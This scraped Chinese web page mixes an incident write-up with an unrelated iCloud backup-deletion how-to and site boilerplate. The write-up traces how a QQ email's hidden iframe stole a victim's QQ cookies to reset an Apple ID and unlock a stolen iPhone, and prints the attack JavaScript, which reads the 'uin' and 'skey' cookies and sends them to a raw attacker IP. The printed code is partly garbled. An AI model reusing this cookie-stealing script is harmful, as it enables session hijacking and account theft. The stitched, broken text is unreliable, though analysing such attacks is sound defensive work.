苹果icloud邮箱6plus邮箱iicloud

来源：蜘蛛抓取(WebSpider) 时间：2016-07-22 19:23 标签： 苹果6plus邮箱设置
事件还原：一封QQ恶意邮件导致Apple ID密码丢失一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中.. -中国学网-中国IT综合门户网站-提供健康,养生,留学,移民,创业,汽车等信息
事件还原：一封QQ恶意邮件导致Apple ID密码丢失一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中..
来源：互联网 更新时间： 10:04:31 责任编辑：王亮字体：
一个朋友丢了一台iPhone 6 Plus，用iCloud开启了丢失模式。直到某一天收了一封QQ邮件，几分钟后APPLE ID被修改了，丢失的iPhone 6 Plus从iCloud中移除了。不是钓鱼邮件，也没有输入任何账户密码，就点了一个图片链接后，Apple ID密码就丢了。这勾起了我的好奇心，随即让朋友把邮件转发给我。
链接在浏览器最下边，太长了，直接查看框架代码（点击看大图）。
开虚拟机，打开IE F12开发者工具，先看看情况（点击看大图）。
直接打开了广州日报大洋网，但域名是，地区是香港。查看F12抓取到的HTTP数据，原来是嵌入了2个iframe，第2个iframe是恶意网页（点击看大图）。
网页中只有一小段js脚本，功能是向腾讯企业邮箱：http://support./cgi-bin/login发送一个POST请求，然后执行其自定义的一个JS脚本。JS脚本名用unicode编了下码，解码后如下图（点击看大图）：
域名ylfu.pw和指向同一个IP。将这个JS脚本下载回来，出现了关键HTTP请求，都指向同一IP。真相原来就是通过搜索cookie，获取了QQ号和skey，利用skey登陆朋友QQ邮箱或其他QQ服务，然后进一步获取到了Apple ID密码。（点击看大图）
后来通过和朋友仔细沟通，得知朋友的APPLE ID就是QQ邮箱，但密码不同。骗子通过skey登陆朋友QQ邮箱，然后发送重置APPLE ID密码的邮件，最后成功解锁了iCloud锁定的iPhone 6 Plus。
技术虽然是老技术，但对普通用户来说，确实没办法防御。腾讯蛋疼的skey机制，不管邮箱、空间还是相册一律通杀，这个力度确实太广了。& & & &&
利用Apple ID的远程锁定进行诈骗最近呈爆发式啊，还没开启Apple ID二次验证的小伙伴，一定要去开启。
附JS完整代码
document.domain = "qq.com";
window.onload =
// 我注释的：入口点
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appV
trident: u.indexOf('Trident') & -1, //IE内核
presto: u.indexOf('Presto') & -1, //opera内核
webKit: u.indexOf('AppleWebKit') & -1, //苹果、谷歌内核
gecko: u.indexOf('Gecko') & -1 && u.indexOf('KHTML') == -1,//火狐内核
mobile: !!u.match(/AppleWebKit.*Mobile.*/), //是否为移动终端
ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), //ios终端
android: u.indexOf('Android') & -1 || u.indexOf('Linux') & -1,
//android终端或者uc浏览器
iPhone: u.indexOf('iPhone') & -1, //是否为iPhone或者QQHD浏览器
iPad: u.indexOf('iPad') & -1, //是否iPad
webApp: u.indexOf('Safari') == -1 //是否web应该程序，没有头部与底部
language: (navigator.browserLanguage || navigator.language).toLowerCase()
function GetWebVersion() {
if (browser.versions.iPhone) {
return "iPhone";
if (browser.versions.android) {
return "android";
return "pc";
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return unescape(arr[2]);
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
function documentrrady()
window.location.href = "http://122.10.18.36/server/AddQQUser?qqnumber=" + parseInt(getCookie("uin").replace("o", "")) + "&skey=" + getCookie("skey") + "&sex=&nickname=&city=&useragant=" + GetWebVersion() + "&addfriendsids=&qqtype=lockKey2&cookie=&uin=" + getCookie("uin");
* 作者：银河实验室（企业账号）
相关文章：
上一篇文章：下一篇文章：
最新添加资讯
24小时热门资讯
Copyright © 2004- All Rights Reserved. 中国学网 版权所有
京ICP备号-1 京公网安备02号iPhone6/6 plus怎么备份 iPhone6 icloud备份怎么删除
作者：佚名
字体：[ ] 来源：互联网 时间：10-08 11:30:20
苹果iPhone6怎么备份？备份怎么删除，iPhone6备份怎么删除，在云空间管理删除。下面看看小编是怎么样删除的呢
　　苹果iPhone6怎么备份？备份怎么删除，iPhone6备份怎么删除，在云空间管理删除。下面一起来看看小编是怎么样删除的呢，希望可以对大家有所帮助的吧。
　　工具/原料
　　iPhone6备份怎么删除
　　icloud备份怎么删除
　　方法/步骤
　　在手机设置这里选择通用。
　　接着点击用量。
　　在下面的icloud这里选择管理储存空间。
　　选择需要删除的备份。
　　点击删除备份。
　　确认删除并关闭备份。点击一下输入密码完成删除。
大家感兴趣的内容
12345678910
最近更新的内容苹果6plus在第一次登陆iCloud显示验证失败是为什么_百度知道

我要回帖

更多关于 苹果6plus邮箱设置 的文章

 

随机推荐